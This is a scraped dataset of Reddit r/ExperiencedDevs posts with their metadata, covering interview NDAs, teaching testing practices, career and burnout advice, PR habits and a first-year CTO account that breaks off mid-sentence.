[https://www.glassdoor.com/Overview/Working-at-Chainlink-Labs-EI\_IE4565770.11,25.htm](https://www.glassdoor.com/Overview/Working-at-Chainlink-Labs-EI_IE4565770.11,25.htm) I suspect they might have their employees sign a whole host of other legal documents restricting what they can say. If you look in the interviews section you can see the majority of them are negative. Another thing I forgot to mention is that there is also a clause in the NDA in which they can own any works that result from discussions in the interview process. And considering they give you a very lengthy take home challenge, I wouldn't be surprised if they use candidate ideas in their own products. Though to be fair on the interview schedule document they gave me it did say the take home challenge was paid, which would track in them owning stuff you make for them. Then again if you look in the interviews section on Glassdoor, I saw a couple posts saying that they never did pay the candidates so take that as you will. They also had an absurdly long interview process consisting of 8 separate interviews (including a technical interview) and a take home challenge. The document they gave me says the challenge should take anywhere from 2-20 hours to complete, which if the interview reviews on glassdoor are to be believed, it's a lot closer to the 20 hour mark. That is just asinine to expect that from anyone interviewing for you, especially if you aren't really a company that people aspire to work for (like FAANG companies). All in all, please thoroughly read any NDAs you get during the interview process, as they might put some really questionable things it it. The recruiter I talked to passed the NDA off as just a formality in order to do my next interview with the hiring manager, so I'm really happy I took the time to read it (and ask my lawyer\* questions about it).",pizzaisprettyneato,674,131,1681964898,/r/ExperiencedDevs/comments/12slxea/an_update_on_my_post_from_last_week_about_signing/,https://www.reddit.com/r/ExperiencedDevs/comments/12slxea/an_update_on_my_post_from_last_week_about_signing/,self.ExperiencedDevs,True,,,,, wpy5ni,ExperiencedDevs,"Followup - Teaching ""best practices"" to a team of Senior Engineers","Last week I [posted a thread](https://www.reddit.com/r/ExperiencedDevs/comments/wkcnv9/teaching_best_practices_to_a_team_of_senior/) that got a lot more attention than I had expected. I wanted to say thanks to everyone for their thoughts. I read a lot of the comments and gave some thought to how I wanted to approach the situation. I set up some time with the team to discuss the state of the codebase. I went to great lengths to avoid ""I think"", ""I feel"", ""in my opinion"", and other statements that would taint their view of this process as being purely subjective. My primary objective with any codebase is that it be designed in such a way that makes it easy to write tests. This is what I emphasized when discussing it with the team. This discussion was beneficial in that it exposed several problems: 1. The team did not understand what I meant by ""testable code."" They were unfamiliar with design principles like SOLID and similar. 2. While they knew the concept of unit tests, they had never written them. 3. All of the developers on the team have been with the company for 20+ years. They have generally not kept up on software engineering practices as they have evolved over the years, which made them unfamiliar with common design patterns. As an example, all the code for an API was shoved into the Controller. With all of this in mind, I felt the best first step would be to refactor one part of the application. Design it with common patterns, dependency injection, and most importantly with tests. My hope was that an example showing the benefits of clean, testable code would win them over. After the refactor and all tests were written, I did a demo with the team. At each step, the benefits were explained in terms of maintainability and testability of the code. - Discussed typical layered design, showing the Controller split into constituent Services and Repositories. - Showed the benefits of having each layer being responsible for one particular thing (domain logic in Service, data access logic in Repository). Smaller classes, smaller methods, easier to write tests for. - Discussed dependency injection and its benefits. - Discussed how to write good unit tests and concepts like code coverage to help guide them. - Discussed the concept of mocking dependencies, why its beneficial, and how to use it effectively. - Discussed ""programming to an interface"" and tied it all back to DI, mocking, and testing... you could see their little lightbulb moment at the end. That call was more than 2 hours long but I felt it was worth every minute. There was a lot of Q&A. The other developers on the team seem interested in adopting better practices. Since then, they have sent me a couple PRs with them refactoring small pieces of code and adding tests, and I've jumped on a lot of impromptu calls to debug issues with the mocking and DI framework with them. This is not what I had expected out of this role but I guess this is the niche I fill while here.",allllusernamestaken,665,46,1660665942,/r/ExperiencedDevs/comments/wpy5ni/followup_teaching_best_practices_to_a_team_of/,https://www.reddit.com/r/ExperiencedDevs/comments/wpy5ni/followup_teaching_best_practices_to_a_team_of/,self.ExperiencedDevs,True,,,,, nnw7yd,ExperiencedDevs,Sober Post: Things I've learned down-leveling my career,"Inspired by [https://www.reddit.com/r/ExperiencedDevs/comments/nmodyl/drunk\_post\_things\_ive\_learned\_as\_a\_sr\_engineer/](https://www.reddit.com/r/ExperiencedDevs/comments/nmodyl/drunk_post_things_ive_learned_as_a_sr_engineer/) .. I thought I would give my take on it, though considerably shorter. &#x200B; 1. Employment in our industry is entirely built around perverse incentives. 2. Best way to advance career is changing companies. Companies where you are at will reward good work with more work and responsibility, instead of more time and/or money. Companies that you switch into will reward your prior good work at other companies with more money. It doesn't really make sense... *See point #1.* 3. Every time I switch jobs, I reduce my responsibilities 50%, and increase my salary 50%. At my first job, I was really annoyed when the new hires that were at my classification level made more than me. Now, other old-timers at my company with the same classification level are annoyed when I make much more than them (note number of job changes >= 3). It doesn't really make sense... *See point #1.* 4. Good code is simple, reliable and well-tested. Great code is good code, just less of it. Best code is no code. Unfortunately, most businesses are not set up to write the best code. First, managers like it when coders write code (because their staff are working). Coders like writing code (because they like it, sometimes, and also they feel uncomfortable if they're not working). This produces a lot of mediocre code (intricate, buggy, and superficially tested). Mediocre code produces a fountain of bugs and follow up tasks, that keeps everyone busy, and therefore justified in their employment. Great code, and the best code, unfortunately results in everyone feeling insecure and possibly losing their job. You'd think they'd figure it out, but... *See point #1.* 5. I have absolutely no mental capacity to work anything remotely close to 40 hours a week (sometimes a week here or there I can). On any given week I maybe can only put in a few hours. Corollary: Amount of time worked has basically zero bearing on your success or impact. You'd think we'd re-orient ourselves by now, but... *See point #1.* 6. Agile is a cult rituals, priests and unassailable belief systems, and has turned into the exact corporate management hell that the original Agile Manifesto authors tried to rebel against 20 years ago. And seriously, you don't need to be a foot soldier for Big Agile or the Agile-Industrial Complex. Don't make an ass out of yourself by sticking your neck out for it. What are we stuck in the 90s again? Oh well... *See point #1.* 7. ~~Never hire someones with a degree in applied math as a software engineer.~~ Ok, you guys got me, this is a bit too harsh. But still, be careful. 8. There's no such thing as a tradeoff for work-life balance... By which I mean sometimes people think I'll take a job that doesn't pay well for one that's convenient or low-pressure. Jobs that pay low treat you like crap and are inflexible. Jobs that pay you in riches treat you like a princess and tend to be infinitely flexible. Dunno, but something something *point #1.* 9. If you don't have a regular, taxable brokerage account that you invest in weekly or monthly with a consistent amount (and into a diversified portfolio or fund), you're wasting your time and your life. Doing this for a years and more you'll have plenty of assets that completely change your approach to your career: You take on a job if and only if you like the work, and if not you have enough F-U money to keep looking around until you find something you like. Also max out 401k. *This breaks you out of the cycle defined by point #1 (!!!!!)* 10. If we're going to use Python, we're using mypy. 11. Unless you really have a thing for it, life's too short for C++. 12. People who tell you the theory in your CS coursework is useless, it's because they never really mastered it, and because they never really mastered it, they can't see where it can be applied, and because they can't apply it, they conclude it's useless. Kind of strikes me as some odd logic. &#x200B; Ok, fight me!",vbtemp,665,193,1622322061,/r/ExperiencedDevs/comments/nnw7yd/sober_post_things_ive_learned_downleveling_my/,https://www.reddit.com/r/ExperiencedDevs/comments/nnw7yd/sober_post_things_ive_learned_downleveling_my/,self.ExperiencedDevs,True,,,,, xxa79p,ExperiencedDevs,"I ""pre-object"" my PRs. I've found it to be a helpful technique. What techniques do you use to streamline your PR process?","Pretty simple: when I put in a PR I will go through it and find any lines that look like they are going to raise some eyebrows. I will add a comment on any of those lines that explains why that change was made. I have found that this cuts down on debate in PRs. It seems like when some people have an objection to a line in a PR and they don't know why that change was made they will come up with reasons that they think the change should not have been made. They will pick a position on the change. Some people are reluctant to give up a position once they have taken it. If you explain it ahead of time that doesn't happen. Of course this could all be in my head. But the odd thing to me is that I have never seen another developer do this. **Edit**: why not comment in the code? Because ""this was a typo"" is a silly code comment.",ryhaltswhiskey,661,196,1665075380,/r/ExperiencedDevs/comments/xxa79p/i_preobject_my_prs_ive_found_it_to_be_a_helpful/,https://www.reddit.com/r/ExperiencedDevs/comments/xxa79p/i_preobject_my_prs_ive_found_it_to_be_a_helpful/,self.ExperiencedDevs,True,,,,, t2gtew,ExperiencedDevs,Meta now offers a training program before you take their interview,"Hey all, I recently got reached out to by a recruiter from Meta and decided to take their interview loop. Once I got into their interviews portal, I've been surprised to find that they actually offer a fairly extensive ""Leetcode"" training program before you take their interview. They offer a full suite of study material, practice questions, and even let you take a mock interview. I feel pretty conflicted about this. On one hand, it's nice to see companies acknowledging the preparation that is required to take these interviews, and are supporting that preparation. On the other hand, it seems absurd that they are blatantly admitting that seasoned engineers will fail their interview without extensive training outside of their normal job. By definition, this means that the interview is not testing real world skills. Seems that everyone is aware that the system is broken, and instead of fixing it they are doubling down on training engineers to take their nonsense test. What do you guys think? Is this peak Leetcode insanity, or a step in the right direction?",Northerner6,661,407,1645939431,/r/ExperiencedDevs/comments/t2gtew/meta_now_offers_a_training_program_before_you/,https://www.reddit.com/r/ExperiencedDevs/comments/t2gtew/meta_now_offers_a_training_program_before_you/,self.ExperiencedDevs,True,,,,, srpk0e,ExperiencedDevs,Do anyone else here love being a developer?,"I see a lot of complaining in this sub and other software subs. I'm a bit surprised because I see this field as one of the best if not the best right now. We are literally payed to sit around and figure out creative solution while working with computers and software that interests us. I've worked retail and warehouse jobs before and the change is literally night and day. It's hard physical work that is very soul crushing while the benefits are none. Now you get to sit in a nice office or at home infront of your PC, great pay and benefits. Even comparing it with my friends it sounds awesome. Dentist? Yeah he fucking hates that he cant work from home. Business people? Long ass hours and bad pay where we live. &#x200B; I get that every career has problems but I do think we have one of the best jobs out there. I am just grateful daily that I can get payed by doing something I enjoy. Not a lot of people can say that so if you are, then try to cherish that.",similiarintrests,655,356,1644777516,/r/ExperiencedDevs/comments/srpk0e/do_anyone_else_here_love_being_a_developer/,https://www.reddit.com/r/ExperiencedDevs/comments/srpk0e/do_anyone_else_here_love_being_a_developer/,self.ExperiencedDevs,True,,,,, 1hqh08n,ExperiencedDevs,Working while management is on vacation has been blissful,"I usually like to work on the awkward days before Christmas and between Christmas and New Year that we don't get automatically because it's quiet and I can get some focus time in. On those days, I've had no slack messages, no meetings, no priority adjustments. I've just been grinding away at my tasks in silence and when everyone comes back, I'll have a big pile of progress to present.",z80nerd,649,98,1735659007,/r/ExperiencedDevs/comments/1hqh08n/working_while_management_is_on_vacation_has_been/,https://www.reddit.com/r/ExperiencedDevs/comments/1hqh08n/working_while_management_is_on_vacation_has_been/,self.ExperiencedDevs,True,,,,, 1g9kxwg,ExperiencedDevs,How did random word salad become a norm in corporate culture?,"Senior dev working at a mid tech company. I'm been in tech for a little over a decade and been part of around half a dozen companies. My role has mostly been technical and personally I like to have definition of things atleast when we're trying to achieve tangible output. Although the culture differs from place to place, one common thing I've noticed especially in big corps is the corporate gobbledegook. I'm not entirely sure if this has is a historic phenomenon or a recent thing where we basically pretend to answer the questions without really answering them. Several instances where trying to get more clarity on certain matter or questioning a management decisions has been unnecessarily complicated and full of hurdles that made me think it's not really worth pursuing. I don't like to push too hard because the people who do end up being labeled as difficult and not a team player. At first I though I wasn't quite asking the right questions or maybe I need more coffee to really begin to comprehend what's being discussed, but with time started to realize how common this is especially at higher levels. More so often the people with such skills are the ones who end up getting promoted. How did we get to this point?",unbrokenwreck,648,319,1729611008,/r/ExperiencedDevs/comments/1g9kxwg/how_did_random_word_salad_become_a_norm_in/,https://www.reddit.com/r/ExperiencedDevs/comments/1g9kxwg/how_did_random_word_salad_become_a_norm_in/,self.ExperiencedDevs,True,,,,, qr7209,ExperiencedDevs,"Why do companies spend so much time, money, and effort on recruiting but nothing on retention?","It's incredibly expensive to hire engineers. First there is the salary cost, signing bonus, and stock. Then you also have to take workers off their regular job queue to do phone screens, run interviews, etc. Also consider the army of recruiters, HR coordinators, and other middle-managers required to onboard employees. It's not an insignificant cost in terms of time and money. It also seems like every company is struggling to hire. All the time I hear about how important it is to refer our friends, post about job opening on social media, etc., how hard it is to find talent. And every team I've been on in the last two years has been short-staffed. So logically, wouldn't it make sense for companies to try to hold on to workers as long as possible? Every new job opening creates another hiring problem. Wouldn't it be cheaper and better for the company if a large portion of our current employees were not jumping ship every year? Why is the never ending carousel of staff normalized? I would understand if it was somehow cheaper to let people quit and hire new ones, but that **doesn't seem to be the case** because of the market and the outrageous costs of recruitment and hiring. Is it just sheer incompetence at an industry scale, or is there some economics behind this that I'm not seeing.",[deleted],644,269,1636586305,/r/ExperiencedDevs/comments/qr7209/why_do_companies_spend_so_much_time_money_and/,https://www.reddit.com/r/ExperiencedDevs/comments/qr7209/why_do_companies_spend_so_much_time_money_and/,self.ExperiencedDevs,True,,,,, lmnati,ExperiencedDevs,"I just had an interview for DevOps. When I was asked what was my biggest challenge in my career, I said: exit vim. After this joke, he just spoke friendly with me and wanted to join them ASAP","Don't be afraid of breaking the ice and being funny, when you have this attitude you WIN people, no leetcode no hackerrank tasks required! Update: offer signed Edit2: First day of work",pachirulis,639,96,1613656556,/r/ExperiencedDevs/comments/lmnati/i_just_had_an_interview_for_devops_when_i_was/,https://www.reddit.com/r/ExperiencedDevs/comments/lmnati/i_just_had_an_interview_for_devops_when_i_was/,self.ExperiencedDevs,True,,,,, 1hcme1w,ExperiencedDevs,The value of domain knowledge.,"I have noticed a common occurrence at several places I have worked where the company doesn't appear to value domain knowledge. I have seen studies where it can cost a company nearly a year's salary to get a new engineer up to speed to replace someone who has left. Obviously, the more senior the person the harder or more expensive it can be to replace them. A large part of that is learning about the existing system architecture, code, etc. Often it takes very little to keep developers happy or appreciated, but for whatever reason (budget, managerial style, etc) the company treats developers as being easy to replace ""units of work"" or cogs as people have said. A coworker went on a two week vacation and the PM asked me to jump in and finish their work on an entirely different system. I told her, ""Think of the situation as a person writing a book, and they have written 80 chapters. You are asking me to jump in and write the next chapter without any understanding of what has already been written."" She was surprised almost shocked that I wasn't ""plug and play"". I am not saying, developers should hold a company hostage as they gain knowledge, but I have seen them let people go with little understanding of the value of their domain knowledge or contributions.",anzacat,634,155,1734014059,/r/ExperiencedDevs/comments/1hcme1w/the_value_of_domain_knowledge/,https://www.reddit.com/r/ExperiencedDevs/comments/1hcme1w/the_value_of_domain_knowledge/,self.ExperiencedDevs,True,,,,, 13xjjb5,ExperiencedDevs,Anyone have experience with rage quitting?,"I have had a seriously insulting performance review at work, and am considering quitting without notice even after sleeping on it. It was the no bonus/no raise “you might as well not have been here last year and we’re setting up to be able to let you go” type, with a while lot of objectively incorrect statements. I am normally great at controlling my emotions and acting patiently and well aware of the downside, but in a financial position where I could retire, scheduled to do a whole lot of very labor intensive mission critical work over the course of the next few weeks and have several personal priorities that I had planned to reluctantly postpone for the same time period, so pulling the plug has a number of rational arguments going for it. I am specifically looking for feedback from people who actually quit without notice and for specific reasons they regretted that decision as a check on my arguably life changing inclination.",uriejejejdjbejxijehd,631,342,1685630955,/r/ExperiencedDevs/comments/13xjjb5/anyone_have_experience_with_rage_quitting/,https://www.reddit.com/r/ExperiencedDevs/comments/13xjjb5/anyone_have_experience_with_rage_quitting/,self.ExperiencedDevs,True,,,,, x4dorw,ExperiencedDevs,How I escaped toxic workplace - 9 months after,"I want to share this with you because here are people who helped me and I wanna say THANK YOU. I’ve deleted my post, but some of you will remember. So, 9 months ago I reached this sub for advise asking if my team is toxic sharing with you details like - they exclude me from meetings, they would have secret chat rooms, giving harsh comments on my work, gossip about me and my work (how bad it is). We never had code reviews, worked with PR, yet my team would blame me for all mistakes. On top of that, I was underpaid. Bringing the thing to my boss, I just faced walls and laughs. I was the only woman in a team of 5 men. You advised I should start a job search and I did. I needed 2 months for preparations and landing a job and 100% bigger pay. The quitting was extremely hard since it was my first job and I was emotionally invested into projects I’ve build, but I’ve learned a huge and important lesson about not getting attached, not to burn myself out, respect and pay. I started new job (with the same title), but in the first week something felt off. I didn’t like it, people were passive aggressive and what they promised was not delivered (they lied about people I would be working on and projects). So, I again thought about it, should I stay, what should I do. One thing was clear - I hated everything about this company. But I also asked myself if the problem is with me since this is a second company I have problems with. At the same time, what I’ve learned previously, I decided to implement and continue my job search. I didn’t wanna be miserable again. Within 15 days I secured new position with title change and 20% raise. I soon gave my notice and they were furious, how dare I quit in such a short time. 6 months later, I am very satisfied. I got great manager who is pushing me forward, acknowledging my hard work and offering chances for promotions and he has great soft skills. At the same time, my team has women, people are respectful, our team lead is the best guy out there, we are doing best to follow great practices, do the tests, PRs, helping each other and I’ve got a chance to explore technology I wanted to work with. What is also important is that I don’t overwork myself and boss is happy with my performance. I can’t believe I was thinking about giving up and I trusted people and my family when they said everything is the same, what’s the point. I got health issues on my first job (burn out, back pain, could not sleep, depression) and I am sure it would have continued if I stayed on my second job. But I’ve learned a lesson and I am healing. I want to tell people out there who are in a similar boat that you can do it, put yourself on the first place and work hard to change your situation, it will pay off.",7v2h33,627,33,1662155969,/r/ExperiencedDevs/comments/x4dorw/how_i_escaped_toxic_workplace_9_months_after/,https://www.reddit.com/r/ExperiencedDevs/comments/x4dorw/how_i_escaped_toxic_workplace_9_months_after/,self.ExperiencedDevs,True,,,,, 1gm4y7g,ExperiencedDevs,The best dev you’ve ever worked with - what made them so great? ,"Was having this conversation with a few friends and thought I’d get some insight from the wider community. We all have worked with some great devs but one has always stood out. The one that pops into your head when you read this post is probably who I’m talking about. So my question is, what made them so good? ",Becominghim-,626,246,1731023605,/r/ExperiencedDevs/comments/1gm4y7g/the_best_dev_youve_ever_worked_with_what_made/,https://www.reddit.com/r/ExperiencedDevs/comments/1gm4y7g/the_best_dev_youve_ever_worked_with_what_made/,self.ExperiencedDevs,True,,,,, 1fpclwd,ExperiencedDevs,Anyone else hit a wall of not caring anymore?,"Been in the industry for 7 years now and with my last 2 moves, I feel like I've completely lost passion for being a dev or even working in general. My first 6 years were incredible ramp up to becoming a engineer manager and leading a very awesome team, but due to very toxic politics that came towards the end, I ended up leaving. Switched to a FAANG, which sounded exciting becuase of the roadmap, but turned out to be heavily political with lots of maintenance work, so I switched jobs internally after a 8mo, where there were a lot of moving components and I could see that they had a lot of movement so I was excited to move. It's been only 4 months now and I'm already dreading this move. While it's not as political, they have their hands tied due to the amount of dependences we have on others and others have on us. I'm now starting to wonder if this has just been the trend across the market or whether I just lost my passion for being a dev.",Herrowgayboi,621,297,1727291454,/r/ExperiencedDevs/comments/1fpclwd/anyone_else_hit_a_wall_of_not_caring_anymore/,https://www.reddit.com/r/ExperiencedDevs/comments/1fpclwd/anyone_else_hit_a_wall_of_not_caring_anymore/,self.ExperiencedDevs,True,,,,, 137iv7o,ExperiencedDevs,One of the juniors on our team is overemployed. Starting to become an issue.,[deleted],[deleted],621,256,1683202612,/r/ExperiencedDevs/comments/137iv7o/one_of_the_juniors_on_our_team_is_overemployed/,,,True,,,,, rvauwd,ExperiencedDevs,Burnout Prevention,"I’ve been doing this for about 5 years now. In that time I’ve worked on more technologies, frameworks, languages, and awful codebases/databases than I can count. I’ve also experienced burnout a number of times. I’ve found out how to avoid it, and I’d like to share my secret: Stop working so hard. Full stop. My goal is to always be around 50-65% capacity. Now, that doesn’t mean I half ass my work. It means I work 4-5 hours a day most days, and it takes me a bit longer to do things, but I get them done properly, and usually faster than other people because I’m fairly good at this stuff. I’ll work a bit more if I have meeting heavy days, because those are easier for me than coding or architecting new systems and apps. If your company is understaffing, be mindful that you should be looking for significant and meaningful hiring practice changes, a large pay increase or bonuses (in writing) for the picked up slack, or another job. If your company is demanding that you shorten development and testing cycles without additional staff or allowing code debt reduction cycles first, start looking for a new job, and immediately cut your efforts to 50-65%. If your company is loading you up beyond what you can handle at 50-65% capacity, say no…you have more power than you think. If you say no and there is blow back, start looking for a new job. That’s not cool and you don’t have to “take one for the team” Here is why this is good for you, the business, and the rest of us: Management bases need to hire and level of skill required for a position based on what they think is happening. If you are working 50-60 hours/week, you are hiding a staffing problem from management or stakeholders. You’re artificially inflating their profits. By working 40 hours or less, you’re helping the company properly staff. By saying “I can’t do more projects” you’re communicating effectively your limits. By letting them trample you, you’re doing yourself, your family, and the company and it’s employees a disservice. They need us to communicate these things in order to make better decisions. Then, if you do communicate these things and the company doesn’t change, you know 100% that it’s time today to say “fuckem” and find a better position. Guaranteed you’ll find something better. They need you more than you need them in most cases. My point is, take this new year to focus on improving your mental health, lowering your stress, and fighting for better work environments. Stick it to these companies underpaying and taking advantage. Good luck and happy new year!! Edit: Based on some comments I think it’s important to point out that you shouldn’t be wasting your extra efforts. You should be becoming a better human. Take courses, grow, be with your family, eat better. Do things that will make you more effective. If your working hours are more effective, then you are actually improving the company, standing up for healthy culture, and being a good example. Edit 2: Wow. How serendipitous that that Kent Beck quote would be in the headline of ExperiencedDevs today. ""I'm not a great programmer. I'm just a good programmer with great habits"". I think this speaks volumes. Take care of yourself, and I implore you talk about this with co-workers, so they too can take care of themselves. If management hates it, it's not you that needs to change, it's management.",JonnyBoy89,618,132,1641240903,/r/ExperiencedDevs/comments/rvauwd/burnout_prevention/,https://www.reddit.com/r/ExperiencedDevs/comments/rvauwd/burnout_prevention/,self.ExperiencedDevs,True,,,,, 1fwf8qv,ExperiencedDevs,How do you deal with a 10x teammate?,[deleted],[deleted],618,433,1728091697,/r/ExperiencedDevs/comments/1fwf8qv/how_do_you_deal_with_a_10x_teammate/,,,True,,,,, xqtgxe,ExperiencedDevs,Youtube channels for senior+ engineers?,"I find that most video content is geared towards juniors or people trying to enter the industry. I've found two great channels that are more relevant towards what I'm looking for; career advancement content for folks that are well into their software engineering career: - [A Life Engineered](https://www.youtube.com/c/ALifeEngineered) - [Rahul Pandey](https://www.youtube.com/c/RahulPandeyrkp) Are there any other channels you'd recommend?",Gigi14,607,80,1664412079,/r/ExperiencedDevs/comments/xqtgxe/youtube_channels_for_senior_engineers/,https://www.reddit.com/r/ExperiencedDevs/comments/xqtgxe/youtube_channels_for_senior_engineers/,self.ExperiencedDevs,True,,,,, opwjl5,ExperiencedDevs,My only backend engineer sent me her resignation and I'm at a loss.,"I am a tech lead at a small company, where we have an even smaller engineering department. It's me, 4 frontend engineers, 2 QA analysts, and 1 backend engineer. We brought on our backend engineer almost a year ago and she's been doing an incredible amount of work and built much of the infrastructure of our latest projects for our product, building our test suite, communicating with our QA and UX engineers, etc. She is by far my most talented engineer right now. However, we haven't been able to grow the department due to bullshit budgeting reasons from HR, and my talent recruiter hasn't sent me many candidates until very recently (and those that I've talked to aren't up to par), so she's been by her lonesome doing these projects. Granted the talent department is recruiting for other departments but we're not getting any bites. She's now come to me and gave me her 2 weeks. I kept a straight face when she told me but inside my heart sank. I don't have anyone lined up to take her place (besides me, and I can't handle the stress of being a lead and performing backend work, notwithstanding I don't have the time as it is). She's told me she's been stressed for a long time and burned out and couldn't handle the workload anymore, which I of course understand. I've told my boss about this and now I'm getting shit about not having an adequate engineering staff, even though I'm not getting any resources to help my team grow. I'm so pissed. Not at her, but at my company. I'm about to scream and I have no idea what to do at this point. I don't know where to go from here. I could try and hire cheap contractors but from my experience they will take a long time to get acquainted to the codebase and most likely make a mess of things. I got her out of pretty much sheer luck (because our recruiting process is absolute ass), and now our velocity is going to plummet, notwithstading I feel like I've burned out a very talented engineer.",Beneficial-Hat-911,600,340,1627021614,/r/ExperiencedDevs/comments/opwjl5/my_only_backend_engineer_sent_me_her_resignation/,https://www.reddit.com/r/ExperiencedDevs/comments/opwjl5/my_only_backend_engineer_sent_me_her_resignation/,self.ExperiencedDevs,True,,,,, otr6z4,ExperiencedDevs,Here’s few things I have been telling junior developers in 1:1 and it’s working out pretty well,"X post. Here's few things I am telling junior developers in 1:1 and it's working out pretty well It's very basic thing but often ignored so thought to put it out. I don't know if you would believe it or not, but some junior developers are shit scared when they join any team. I had a couple in my previous job, one in a job before that and a few now. Some go well along with the flow and throw in so much productivity. Some, however, aren't able to perform at their full potential even though they know a bunch of stuff and super technical. Usually what blocks them is company/team/project specific things which they aren't able to figure out on their own. I used to be that guy 7 years ago. Asking my senior peers was such an issue for me. There was a sense of judgement which held me off from asking more than a predetermined number of questions to any senior guy in the team. Part of this also had to do something with the fact how douchebag some of the senior devs in my team were. A few would literally reply with wink emojis and sarcastic replies when I asked them for a help in solving merge conflicts in my initial years, after I tried to figure out on my own by staying awake whole night reading git articles and exploring stackoverflow like a maniac. Trust me, no matter how simple you think it is and that junior guy should know this, sometimes it literally is impossible for them. Some junior guys break out in company washrooms too. Seriously, some senior devs don't have tolerance around taking more than 4-5 questions a day from junior devs and it can be seen/felt through their body language. Their main excuse is they should figure it out on their own, but sometimes it's soul killing to the junior guys. Trust me, I have been there. Keeping my past in mind, I tell these things repeatedly to any new intern/junior who joins in my team. ""Hey, look, feel free to ask as many questions you want. I personally prefer to get asked more questions from you. The more you ask, the more we both learn. And, you know what, your mind will tell you to not ask more questions when you already asked me 4 doubts in a day (at this statement, they show their smiling/nodding face in video chat because it's the fact for them), but, don't listen to your mind. Thats' the limit you set in your mind thinking it's not ok to ask more than a few doubts a day to any person. I would be ok even if you ask me 50-100 things a day. So, feel free to throw them in my slack and never feel hesitated to ask your questions. Even if you personally think, this might be a silly doubt, throw it in. I will never judge you for that."" This gives them so much confidence and assurity to get unblocked fast and be more productive. Not only that, they speak highly of you with upper management and HRs which gets you additional brownie points. So, it's a WIN WIN. Tldr: Be nice to junior devs. You were also junior once.",digitalbiz,598,137,1627536179,/r/ExperiencedDevs/comments/otr6z4/heres_few_things_i_have_been_telling_junior/,https://www.reddit.com/r/ExperiencedDevs/comments/otr6z4/heres_few_things_i_have_been_telling_junior/,self.ExperiencedDevs,True,,,,, 1dw2212,ExperiencedDevs,"One year as a CTO - Thoughts, ideas, regrets and more","This might be a rant, screaming into the void or it might be helpful for someone in a similar position in the future. Follow me in an personal, uninteresting and opinionated story about mental breakdowns, impostor syndrome and lessons learnt. Let me start at the beginning. A little bit about me: I have been working as a full time developer for the past 8 years. I have worked at 3 companies and, over the years, I started climbing the promotion ladder. My last job before I landed the current CTO position was as lead of a start-up backend team, as well as coordinating a frontend and mobile teams within the same product. During this period the promotions were quite organic and I felt supported by me peers and the organization. I had my struggles as any other dev, but I was happy with the job. The only thing that I missed was a newer, more modern, less niche tech stack. Around a year ago, after 6 years in my previous company, I got offered the lead position of a company of someone I knew and I was (still am) really close to. At that moment I had been trying to change jobs for a while but always got rejected because I was missing the tech-stack different companies were asking for. I wasn't sure I was the candidate for this position, but they offered me everything I wanted at the time: change technologies and not cutting my salary, so I accepted. How bad could it be? This new company is not a software company, but an electrical company that had decided a couple of years ago to build their one apps to sell to existing clients. These apps were half way there when I arrived, and were developed but 2 junior devs and an external consultancy team. When I arrived I was shocked with what I encountered: no documentation, the 2 juniors would not talk between them (they joined during covid and have always worked remotely) and the external team was trying to keep all the knowledge from them. Knowledge is power and they had tons. On top of that, the product team was a bunch of old farts that had been in the company for 15+ years and know a lot about the industry, but nothing about software development. The worst part is they were ok with that and weren't willing to learn. I joined, no onboarding, a jira board with 300+ tickets for the current sprint and daily meetings of 1.5 hours. I even thought of quitting one week in. At the end of the 1st sprint we had more tickets in the board than at the beginning. It was chaos. I interviewed everyone separately to see how was the weather within the team. Internal devs were burned out, product was frustrated with how slow everything was going, the external team said they were ok, but I guess they did not want to start a fire. They only insisted they were the fastest when coding. And they were really fast, but this ended up blowing up. Some of the common points that were causing frustration were: * Lack of focus: a team of 5 devs working on 5 different products. * Lack of communications: each dev was its own silo. The same problem was solved twice with different approaches because they wouldn't communicate, even with 1.5h daily meetings. * Constant errors in production: there was a rapeo with a main branch. And that's it. All changes were pushed to main and the CICD would deploy changes directly in prod. No testing, no QA, no automation. I was shocked, but decided to take it as a challenge. And I think that was my first mistake. During my first few months I started making changes. Changing methodology, creating a dev and staging environments, establishing responsibilities, guiding the junior members... at the beginning I felt I was imposing my agenda onto them. It felt awful. On top of that, I felt like I was there by mere nepotism. I felt my decisions were being questioned constantly. I knew less about the techstack than the rest of the devs, I was way younger than the product team and I knew nothing about the business logic either. But there I was, telling everyone how to do their jobs. Impostor syndrome kick in. And it kicked hard. I, as probably most of you reading these lines, had always struggled with impostor syndrome. The only thing that kept me sane in my previous job is I had a network of colleagues that had gone or were going through the same. this time it was different. I was the new kid on the block. I was alone. Of course I could talk to my wife and friends, and I did so. But it felt like complaining. I quickly became closer with one of the product guys. He helped a lot. He was convinced my view (basically trying to focus effort and remove waste, some of you might call it Lean) was what we needed. And he was my first ally. The first little victory I felt in three months. A few days later the CEO who had hired me told me about the other development team. In this case it was 4 senior devs with tons of experience (allegedly) that were using some niche technologies from the 19th century because the former CTO decided so. This team was not working. They were slow, burned out and basically did whatever they wanted. No results whatsoever. He asked me to merge both teams into one and asume the CTO role. And I said yes. The next months were fucking miserable. Now I had another ball to juggle and my two allies were the guy from product that had been here for 6 months (in a team were the rest had been 15+ years) and a junior dev. On top of that, I was still trying to learn the techstack because in the end that was my goal after all. I started doing something I had never done: code outside working hors. I felt I was dragging behind and needed to start something from scratch to learn the basics. I should have know this was going to put extra pressure on me. A few months later I had the worst week of my life. I decided I had to let go 2 of the senior devs from the newly merged team. Both of them had high salaries and zero to none coding skills. I even had to explain one of them what ctrl+c ctrl-v meant. It is the worst thing I've done (at least work related). I was feeling like shit, but they were eating the team's budget. I was working on opening the new positions when I get an urgent call. Production is down. It was late-ish for a team that usually finishes early. Production was crashing so hard users could not see anything after logging in. I panicked for a moment. But we had had a release so I rolled back the changes and everything calmed down. I was not having the best of the weeks, but at least users had access to production again. The asshole PO was pushing me to fix it and release again even if it was late and the problem was fixed because it was an important release. Suddenly, the lead of the external team showed up and I asked him for help. Two minutes later it was fixed. I asked the guy how he fixed it, but he wouldn't tell. I insisted. He said it was no big deal. I insisted and called. Some script that was supposed to configure some shit did not run. It was easy. But I was not aware of such script. But the worst part is I felt like this guy was trying to hide that from me to make himself and his consultant team essential. We finished the call and I had a mental breakdown at my home office. I couldn't breath. My wife heard me and bursted into the room. I needed help. I spent the next few weeks completely swamped by ideas of leaving the company, getting a sick leave, faking my own death and moving to Bali... anything that made me never work with these people again. All of this while trying to convince candidates to join our team And then everything changed. With the budget we had from the devs we let go we hired new members. And they had a different background without the inbreeding everyone in this company suffered. I asked the new guys provide feedback about what they saw, and to challenge everything. On top of that, an apparent minor change took several weeks of development. This was caused by the external team delivering very fast but without thinking on the longer term. It blew up. It reminds me of a conversation in this sub about [if never writing code from 